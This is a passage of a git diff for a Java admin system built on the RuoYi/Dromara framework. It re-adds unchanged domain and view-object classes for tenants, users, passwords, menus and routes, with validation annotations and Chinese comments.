"认证唯一ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private String authId; + + /** + * 用户来源 + */ + @NotBlank(message = "用户来源不能为空", groups = { AddGroup.class, EditGroup.class }) + private String source; + + /** + * 用户的授权令牌 + */ + @NotBlank(message = "用户的授权令牌不能为空", groups = { AddGroup.class, EditGroup.class }) + private String accessToken; + + /** + * 用户的授权令牌的有效期,部分平台可能没有 + */ + private int expireIn; + + /** + * 刷新令牌,部分平台可能没有 + */ + private String refreshToken; + + /** + * 平台唯一id + */ + private String openId; + + /** + * 用户的 ID + */ + @NotBlank(message = "用户的ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long userId; + + /** + * 平台的授权信息,部分平台可能没有 + */ + private String accessCode; + + /** + * 用户的 unionid + */ + private String unionId; + + /** + * 授予的权限,部分平台可能没有 + */ + private String scope; + + /** + * 授权的第三方账号 + */ + private String userName; + + /** + * 授权的第三方昵称 + */ + private String nickName; + + /** + * 授权的第三方邮箱 + */ + private String email; + + /** + * 授权的第三方头像地址 + */ + private String avatar; + + /** + * 个别平台的授权信息,部分平台可能没有 + */ + private String tokenType; + + /** + * id token,部分平台可能没有 + */ + private String idToken; + + /** + * 小米平台用户的附带属性,部分平台可能没有 + */ + private String macAlgorithm; + + /** + * 小米平台用户的附带属性,部分平台可能没有 + */ + private String macKey; + + /** + * 用户的授权code,部分平台可能没有 + */ + private String code; + + /** + * Twitter平台用户的附带属性,部分平台可能没有 + */ + private String oauthToken; + + /** + * Twitter平台用户的附带属性,部分平台可能没有 + */ + private String oauthTokenSecret; + + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantBo.java index 1f09178..242d077 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantBo.java @@ -1,138 +1,138 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysTenant; - -import java.util.Date; - -/** - * 租户业务对象 sys_tenant - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysTenant.class, reverseConvertGenerate = false) -public class SysTenantBo extends BaseEntity { - - /** - * id - */ - @NotNull(message = "id不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 租户编号 - */ - @NotNull(message = "租户编号不能为空", groups = { EditGroup.class }) - private String tenantCode; - - /** - * 联系人 - */ - @NotBlank(message = "联系人不能为空", groups = { AddGroup.class, EditGroup.class }) - private String contactUserName; - - /** - * 联系电话 - */ - @NotBlank(message = "联系电话不能为空", groups = { AddGroup.class, EditGroup.class }) - private String contactPhone; - - /** - * 企业名称 - */ - @NotBlank(message = "企业名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String companyName; - - /** - * 用户名(创建系统用户) - */ - @NotBlank(message = "用户名不能为空", groups = { AddGroup.class }) - private String username; - - /** - * 密码(创建系统用户) - */ - @NotBlank(message = "密码不能为空", groups = { AddGroup.class }) - private String password; - - /** - *收款人姓名 - */ - @NotBlank(message = "收款人姓名", groups = { AddGroup.class, EditGroup.class }) - private String payeeName; - - /** - *收款银行名称 - */ - @NotBlank(message = "收款银行名称", groups = { AddGroup.class, EditGroup.class }) - private String payeeBank; - - /** - *收款银行卡号 - */ - @NotBlank(message = "收款银行卡号", groups = { AddGroup.class, EditGroup.class }) - private String payeeBankNum; - - /** - * 统一社会信用代码 - */ - private String licenseNumber; - - /** - * 地址 - */ - private String address; - - /** - * 域名 - */ - private String domain; - - /** - * 企业简介 - */ - private String intro; - - /** - * 备注 - */ - private String remark; - - /** - * 租户套餐编号 - */ - @NotNull(message = "租户套餐不能为空", groups = { AddGroup.class }) - private Long packageId; - - /** - * 过期时间 - */ - private Date expireTime; - - /** - * 用户数量(-1不限制) - */ - private Long accountCount; - - /** - * 租户状态(0正常 1停用) - */ - private String status; - - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysTenant; + +import java.util.Date; + +/** + * 租户业务对象 sys_tenant + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysTenant.class, reverseConvertGenerate = false) +public class SysTenantBo extends BaseEntity { + + /** + * id + */ + @NotNull(message = "id不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 租户编号 + */ + @NotNull(message = "租户编号不能为空", groups = { EditGroup.class }) + private String tenantCode; + + /** + * 联系人 + */ + @NotBlank(message = "联系人不能为空", groups = { AddGroup.class, EditGroup.class }) + private String contactUserName; + + /** + * 联系电话 + */ + @NotBlank(message = "联系电话不能为空", groups = { AddGroup.class, EditGroup.class }) + private String contactPhone; + + /** + * 企业名称 + */ + @NotBlank(message = "企业名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String companyName; + + /** + * 用户名(创建系统用户) + */ + @NotBlank(message = "用户名不能为空", groups = { AddGroup.class }) + private String username; + + /** + * 密码(创建系统用户) + */ + @NotBlank(message = "密码不能为空", groups = { AddGroup.class }) + private String password; + + /** + *收款人姓名 + */ + @NotBlank(message = "收款人姓名", groups = { AddGroup.class, EditGroup.class }) + private String payeeName; + + /** + *收款银行名称 + */ + @NotBlank(message = "收款银行名称", groups = { AddGroup.class, EditGroup.class }) + private String payeeBank; + + /** + *收款银行卡号 + */ + @NotBlank(message = "收款银行卡号", groups = { AddGroup.class, EditGroup.class }) + private String payeeBankNum; + + /** + * 统一社会信用代码 + */ + private String licenseNumber; + + /** + * 地址 + */ + private String address; + + /** + * 域名 + */ + private String domain; + + /** + * 企业简介 + */ + private String intro; + + /** + * 备注 + */ + private String remark; + + /** + * 租户套餐编号 + */ + @NotNull(message = "租户套餐不能为空", groups = { AddGroup.class }) + private Long packageId; + + /** + * 过期时间 + */ + private Date expireTime; + + /** + * 用户数量(-1不限制) + */ + private Long accountCount; + + /** + * 租户状态(0正常 1停用) + */ + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantPackageBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantPackageBo.java index 7aa2604..dde1e16 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantPackageBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysTenantPackageBo.java @@ -1,59 +1,59 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import io.github.linpeilie.annotations.AutoMapping; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysTenantPackage; - -/** - * 租户套餐业务对象 sys_tenant_package - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysTenantPackage.class, reverseConvertGenerate = false) -public class SysTenantPackageBo extends BaseEntity { - - /** - * 租户套餐id - */ - @NotNull(message = "租户套餐id不能为空", groups = { EditGroup.class }) - private Long packageId; - - /** - * 套餐名称 - */ - @NotBlank(message = "套餐名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String packageName; - - /** - * 关联菜单id - */ - @AutoMapping(target = "menuIds", expression = "java(org.dromara.common.core.utils.StringUtils.join(source.getMenuIds(), \",\"))") - private Long[] menuIds; - - /** - * 备注 - */ - private String remark; - - /** - * 菜单树选择项是否关联显示 - */ - private Boolean menuCheckStrictly; - - /** - * 状态(0正常 1停用) - */ - private String status; - - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import io.github.linpeilie.annotations.AutoMapping; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysTenantPackage; + +/** + * 租户套餐业务对象 sys_tenant_package + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysTenantPackage.class, reverseConvertGenerate = false) +public class SysTenantPackageBo extends BaseEntity { + + /** + * 租户套餐id + */ + @NotNull(message = "租户套餐id不能为空", groups = { EditGroup.class }) + private Long packageId; + + /** + * 套餐名称 + */ + @NotBlank(message = "套餐名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String packageName; + + /** + * 关联菜单id + */ + @AutoMapping(target = "menuIds", expression = "java(org.dromara.common.core.utils.StringUtils.join(source.getMenuIds(), \",\"))") + private Long[] menuIds; + + /** + * 备注 + */ + private String remark; + + /** + * 菜单树选择项是否关联显示 + */ + private Boolean menuCheckStrictly; + + /** + * 状态(0正常 1停用) + */ + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserBo.java index d476954..663e956 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserBo.java @@ -1,160 +1,160 @@ -package org.dromara.system.domain.bo; - -import com.fasterxml.jackson.annotation.JsonFormat; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.Email; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.xss.Xss; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysUser; - -import java.util.Date; -import java.util.List; - -/** - * 用户信息业务对象 sys_user - * - * @author Michelle.Chung - */ - -@Data -@NoArgsConstructor -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysUser.class, reverseConvertGenerate = false) -public class SysUserBo extends BaseEntity { - - /** - * 用户ID - */ - private Long userId; - - /** - * 部门ID - */ - private Long deptId; - - /** - * 部门IDs - */ - private List deptIds; - - /** - * 用户账号 - */ - @Xss(message = "用户账号不能包含脚本字符") - @NotBlank(message = "用户账号不能为空") - @Size(min = 0, max = 30, message = "用户账号长度不能超过{max}个字符") - private String userName; - - /** - * 用户昵称 - */ - @Xss(message = "用户昵称不能包含脚本字符") - @NotBlank(message = "用户昵称不能为空") - @Size(min = 0, max = 50, message = "用户昵称长度不能超过{max}个字符") - private String nickName; - - - /** - * 真实姓名 - */ - private String realName; - - /** - * 身份(1=员工,2=技术,3=客服,4=分图员) - */ - private Integer identity; - - /** - * 擅长类型 - */ - private String type; - - /** - * 工龄 - */ - @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") - private Date year; - - /** - * 工种 - */ - private Long work; - - /** - * 用户类型(sys_user系统用户) - */ - private String userType; - - /** - * 用户邮箱 - */ - @Email(message = "邮箱格式不正确") - @Size(min = 0, max = 50, message = "邮箱长度不能超过{max}个字符") - private String email; - - /** - * 手机号码 - */ - private String phonenumber; - - /** - * 用户性别(0男 1女 2未知) - */ - private String sex; - - /** - * 密码 - */ - private String password; - - /** - * 帐号状态(0正常 1停用) - */ - private String status; - - /** - * 备注 - */ - private String remark; - - /** - * 是否分图员 1:是 0:否 - */ - private Integer isFty; - - /** - * 角色组 - */ - @Size(min = 1, message = "用户角色不能为空") - private Long[] roleIds; - - /** - * 岗位组 - */ - private Long[] postIds; - - /** - * 数据权限 当前角色ID - */ - private Long roleId; - - /** - * 排除不查询的用户(工作流用) - */ - private String excludeUserIds; - - public SysUserBo(Long userId) { - this.userId = userId; - } - - public boolean isSuperAdmin() { - return SystemConstants.SUPER_ADMIN_ID.equals(this.userId); - } - -} +package org.dromara.system.domain.bo; + +import com.fasterxml.jackson.annotation.JsonFormat; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.Email; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.xss.Xss; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysUser; + +import java.util.Date; +import java.util.List; + +/** + * 用户信息业务对象 sys_user + * + * @author Michelle.Chung + */ + +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysUser.class, reverseConvertGenerate = false) +public class SysUserBo extends BaseEntity { + + /** + * 用户ID + */ + private Long userId; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 部门IDs + */ + private List deptIds; + + /** + * 用户账号 + */ + @Xss(message = "用户账号不能包含脚本字符") + @NotBlank(message = "用户账号不能为空") + @Size(min = 0, max = 30, message = "用户账号长度不能超过{max}个字符") + private String userName; + + /** + * 用户昵称 + */ + @Xss(message = "用户昵称不能包含脚本字符") + @NotBlank(message = "用户昵称不能为空") + @Size(min = 0, max = 50, message = "用户昵称长度不能超过{max}个字符") + private String nickName; + + + /** + * 真实姓名 + */ + private String realName; + + /** + * 身份(1=员工,2=技术,3=客服,4=分图员) + */ + private Integer identity; + + /** + * 擅长类型 + */ + private String type; + + /** + * 工龄 + */ + @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") + private Date year; + + /** + * 工种 + */ + private Long work; + + /** + * 用户类型(sys_user系统用户) + */ + private String userType; + + /** + * 用户邮箱 + */ + @Email(message = "邮箱格式不正确") + @Size(min = 0, max = 50, message = "邮箱长度不能超过{max}个字符") + private String email; + + /** + * 手机号码 + */ + private String phonenumber; + + /** + * 用户性别(0男 1女 2未知) + */ + private String sex; + + /** + * 密码 + */ + private String password; + + /** + * 帐号状态(0正常 1停用) + */ + private String status; + + /** + * 备注 + */ + private String remark; + + /** + * 是否分图员 1:是 0:否 + */ + private Integer isFty; + + /** + * 角色组 + */ + @Size(min = 1, message = "用户角色不能为空") + private Long[] roleIds; + + /** + * 岗位组 + */ + private Long[] postIds; + + /** + * 数据权限 当前角色ID + */ + private Long roleId; + + /** + * 排除不查询的用户(工作流用) + */ + private String excludeUserIds; + + public SysUserBo(Long userId) { + this.userId = userId; + } + + public boolean isSuperAdmin() { + return SystemConstants.SUPER_ADMIN_ID.equals(this.userId); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserPasswordBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserPasswordBo.java index 8615fcd..55923ff 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserPasswordBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserPasswordBo.java @@ -1,29 +1,29 @@ -package org.dromara.system.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 用户密码修改bo - */ -@Data -public class SysUserPasswordBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 旧密码 - */ - @NotBlank(message = "旧密码不能为空") - private String oldPassword; - - /** - * 新密码 - */ - @NotBlank(message = "新密码不能为空") - private String newPassword; -} +package org.dromara.system.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 用户密码修改bo + */ +@Data +public class SysUserPasswordBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 旧密码 + */ + @NotBlank(message = "旧密码不能为空") + private String oldPassword; + + /** + * 新密码 + */ + @NotBlank(message = "新密码不能为空") + private String newPassword; +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserProfileBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserProfileBo.java index 846dd79..b8c6274 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserProfileBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysUserProfileBo.java @@ -1,53 +1,53 @@ -package org.dromara.system.domain.bo; - -import jakarta.validation.constraints.Email; -import jakarta.validation.constraints.Pattern; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; -import org.dromara.common.core.constant.RegexConstants; -import org.dromara.common.core.xss.Xss; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.sensitive.annotation.Sensitive; -import org.dromara.common.sensitive.core.SensitiveStrategy; - -/** - * 个人信息业务处理 - * - * @author Michelle.Chung - */ - -@Data -@NoArgsConstructor -@EqualsAndHashCode(callSuper = true) -public class SysUserProfileBo extends BaseEntity { - - /** - * 用户昵称 - */ - @Xss(message = "用户昵称不能包含脚本字符") - @Size(min = 0, max = 30, message = "用户昵称长度不能超过{max}个字符") - private String nickName; - - /** - * 用户邮箱 - */ - @Sensitive(strategy = SensitiveStrategy.EMAIL) - @Email(message = "邮箱格式不正确") - @Size(min = 0, max = 50, message = "邮箱长度不能超过{max}个字符") - private String email; - - /** - * 手机号码 - */ - @Pattern(regexp = RegexConstants.MOBILE, message = "手机号格式不正确") - @Sensitive(strategy = SensitiveStrategy.PHONE) - private String phonenumber; - - /** - * 用户性别(0男 1女 2未知) - */ - private String sex; - -} +package org.dromara.system.domain.bo; + +import jakarta.validation.constraints.Email; +import jakarta.validation.constraints.Pattern; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.dromara.common.core.constant.RegexConstants; +import org.dromara.common.core.xss.Xss; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.sensitive.annotation.Sensitive; +import org.dromara.common.sensitive.core.SensitiveStrategy; + +/** + * 个人信息业务处理 + * + * @author Michelle.Chung + */ + +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = true) +public class SysUserProfileBo extends BaseEntity { + + /** + * 用户昵称 + */ + @Xss(message = "用户昵称不能包含脚本字符") + @Size(min = 0, max = 30, message = "用户昵称长度不能超过{max}个字符") + private String nickName; + + /** + * 用户邮箱 + */ + @Sensitive(strategy = SensitiveStrategy.EMAIL) + @Email(message = "邮箱格式不正确") + @Size(min = 0, max = 50, message = "邮箱长度不能超过{max}个字符") + private String email; + + /** + * 手机号码 + */ + @Pattern(regexp = RegexConstants.MOBILE, message = "手机号格式不正确") + @Sensitive(strategy = SensitiveStrategy.PHONE) + private String phonenumber; + + /** + * 用户性别(0男 1女 2未知) + */ + private String sex; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/AvatarVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/AvatarVo.java index 46c020b..95cda52 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/AvatarVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/AvatarVo.java @@ -1,18 +1,18 @@ -package org.dromara.system.domain.vo; - -import lombok.Data; - -/** - * 用户头像信息 - * - * @author Michelle.Chung - */ -@Data -public class AvatarVo { - - /** - * 头像地址 - */ - private String imgUrl; - -} +package org.dromara.system.domain.vo; + +import lombok.Data; + +/** + * 用户头像信息 + * + * @author Michelle.Chung + */ +@Data +public class AvatarVo { + + /** + * 头像地址 + */ + private String imgUrl; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/CacheListInfoVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/CacheListInfoVo.java index f827cba..0ca202c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/CacheListInfoVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/CacheListInfoVo.java @@ -1,23 +1,23 @@ -package org.dromara.system.domain.vo; - -import lombok.Data; - -import java.util.List; -import java.util.Map; -import java.util.Properties; - -/** - * 缓存监控列表信息 - * - * @author Michelle.Chung - */ -@Data -public class CacheListInfoVo { - - private Properties info; - - private Long dbSize; - - private List> commandStats; - -} +package org.dromara.system.domain.vo; + +import lombok.Data; + +import java.util.List; +import java.util.Map; +import java.util.Properties; + +/** + * 缓存监控列表信息 + * + * @author Michelle.Chung + */ +@Data +public class CacheListInfoVo { + + private Properties info; + + private Long dbSize; + + private List> commandStats; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/DeptTreeSelectVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/DeptTreeSelectVo.java index 6f7db28..0224a72 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/DeptTreeSelectVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/DeptTreeSelectVo.java @@ -1,26 +1,26 @@ -package org.dromara.system.domain.vo; - -import cn.hutool.core.lang.tree.Tree; -import lombok.Data; - -import java.util.List; - -/** - * 角色部门列表树信息 - * - * @author Michelle.Chung - */ -@Data -public class DeptTreeSelectVo { - - /** - * 选中部门列表 - */ - private List checkedKeys; - - /** - * 下拉树结构列表 - */ - private List> depts; - -} +package org.dromara.system.domain.vo; + +import cn.hutool.core.lang.tree.Tree; +import lombok.Data; + +import java.util.List; + +/** + * 角色部门列表树信息 + * + * @author Michelle.Chung + */ +@Data +public class DeptTreeSelectVo { + + /** + * 选中部门列表 + */ + private List checkedKeys; + + /** + * 下拉树结构列表 + */ + private List> depts; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MenuTreeSelectVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MenuTreeSelectVo.java index 0724538..c91a8bf 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MenuTreeSelectVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MenuTreeSelectVo.java @@ -1,26 +1,26 @@ -package org.dromara.system.domain.vo; - -import cn.hutool.core.lang.tree.Tree; -import lombok.Data; - -import java.util.List; - -/** - * 角色菜单列表树信息 - * - * @author Michelle.Chung - */ -@Data -public class MenuTreeSelectVo { - - /** - * 选中菜单列表 - */ - private List checkedKeys; - - /** - * 菜单下拉树结构列表 - */ - private List> menus; - -} +package org.dromara.system.domain.vo; + +import cn.hutool.core.lang.tree.Tree; +import lombok.Data; + +import java.util.List; + +/** + * 角色菜单列表树信息 + * + * @author Michelle.Chung + */ +@Data +public class MenuTreeSelectVo { + + /** + * 选中菜单列表 + */ + private List checkedKeys; + + /** + * 菜单下拉树结构列表 + */ + private List> menus; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MetaVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MetaVo.java index e740a97..852bc81 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MetaVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/MetaVo.java @@ -1,61 +1,61 @@ -package org.dromara.system.domain.vo; - -import lombok.Data; -import org.dromara.common.core.utils.StringUtils; - -/** - * 路由显示信息 - * - * @author ruoyi - */ - -@Data -public class MetaVo { - - /** - * 设置该路由在侧边栏和面包屑中展示的名字 - */ - private String title; - - /** - * 设置该路由的图标,对应路径src/assets/icons/svg - */ - private String icon; - - /** - * 设置为true,则不会被 缓存 - */ - private boolean noCache; - - /** - * 内链地址(http(s)://开头) - */ - private String link; - - public MetaVo(String title, String icon) { - this.title = title; - this.icon = icon; - } - - public MetaVo(String title, String icon, boolean noCache) { - this.title = title; - this.icon = icon; - this.noCache = noCache; - } - - public MetaVo(String title, String icon, String link) { - this.title = title; - this.icon = icon; - this.link = link; - } - - public MetaVo(String title, String icon, boolean noCache, String link) { - this.title = title; - this.icon = icon; - this.noCache = noCache; - if (StringUtils.ishttp(link)) { - this.link = link; - } - } - -} +package org.dromara.system.domain.vo; + +import lombok.Data; +import org.dromara.common.core.utils.StringUtils; + +/** + * 路由显示信息 + * + * @author ruoyi + */ + +@Data +public class MetaVo { + + /** + * 设置该路由在侧边栏和面包屑中展示的名字 + */ + private String title; + + /** + * 设置该路由的图标,对应路径src/assets/icons/svg + */ + private String icon; + + /** + * 设置为true,则不会被 缓存 + */ + private boolean noCache; + + /** + * 内链地址(http(s)://开头) + */ + private String link; + + public MetaVo(String title, String icon) { + this.title = title; + this.icon = icon; + } + + public MetaVo(String title, String icon, boolean noCache) { + this.title = title; + this.icon = icon; + this.noCache = noCache; + } + + public MetaVo(String title, String icon, String link) { + this.title = title; + this.icon = icon; + this.link = link; + } + + public MetaVo(String title, String icon, boolean noCache, String link) { + this.title = title; + this.icon = icon; + this.noCache = noCache; + if (StringUtils.ishttp(link)) { + this.link = link; + } + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/ProfileVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/ProfileVo.java index c047651..c602372 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/ProfileVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/ProfileVo.java @@ -1,29 +1,29 @@ -package org.dromara.system.domain.vo; - -import lombok.Data; - -/** - * 用户个人信息 - * - * @author Michelle.Chung - */ -@Data -public class ProfileVo { - - /** - * 用户信息 - */ - private SysUserVo user; - - /** - * 用户所属角色组 - */ - private String roleGroup; - - /** - * 用户所属岗位组 - */ - private String postGroup; - - -} +package org.dromara.system.domain.vo; + +import lombok.Data; + +/** + * 用户个人信息 + * + * @author Michelle.Chung + */ +@Data +public class ProfileVo { + + /** + * 用户信息 + */ + private SysUserVo user; + + /** + * 用户所属角色组 + */ + private String roleGroup; + + /** + * 用户所属岗位组 + */ + private String postGroup; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/RouterVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/RouterVo.java index 0d576ef..38428ae 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/RouterVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/RouterVo.java @@ -1,62 +1,62 @@ -package org.dromara.system.domain.vo; - -import com.fasterxml.jackson.annotation.JsonInclude; -import lombok.Data; - -import java.util.List; - -/** - * 路由配置信息 - * - * @author Lion Li - */ -@Data -@JsonInclude(JsonInclude.Include.NON_EMPTY) -public class RouterVo { - - /** - * 路由名字 - */ - private String name; - - /** - * 路由地址 - */ - private String path; - - /** - * 是否隐藏路由,当设置 true 的时候该路由不会再侧边栏出现 - */ - private boolean hidden; - - /** - * 重定向地址,当设置 noRedirect 的时候该路由在面包屑导航中不可被点击 - */ - private String redirect; - - /** - * 组件地址 - */ - private String component; - - /** - * 路由参数:如 {"id": 1, "name": "ry"} - */ - private String query; - - /** - * 当你一个路由下面的 children 声明的路由大于1个时,自动会变成嵌套的模式--如组件页面 - */ - private Boolean alwaysShow; - - /** - * 其他元素 - */ - private MetaVo meta; - - /** - * 子路由 - */ - private List children; - -} +package org.dromara.system.domain.vo; + +import com.fasterxml.jackson.annotation.JsonInclude; +import lombok.Data; + +import java.util.List; + +/** + * 路由配置信息 + * + * @author Lion Li + */ +@Data +@JsonInclude(JsonInclude.Include.NON_EMPTY) +public class RouterVo { + + /** + * 路由名字 + */ + private String name; + + /** + * 路由地址 + */ + private String path; + + /** + * 是否隐藏路由,当设置 true 的时候该路由不会再侧边栏出现 + */ + private boolean hidden; + + /** + * 重定向地址,当设置 noRedirect 的时候该路由在面包屑导航中不可被点击 + */ + private String redirect; + + /** + * 组件地址 + */ + private String component; + + /** + * 路由参数:如 {"id": 1, "name": "ry"} + */ + private String query; + + /** + * 当你一个路由下面的 children 声明的路由大于1个时,自动会变成嵌套的模式--如组件页面 + */ + private Boolean alwaysShow; + + /** + * 其他元素 + */ + private MetaVo meta; + + /** + * 子路由 + */ + private List children; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysClientVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysClientVo.java index bd502ed..cd7dc6c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysClientVo.java +++ 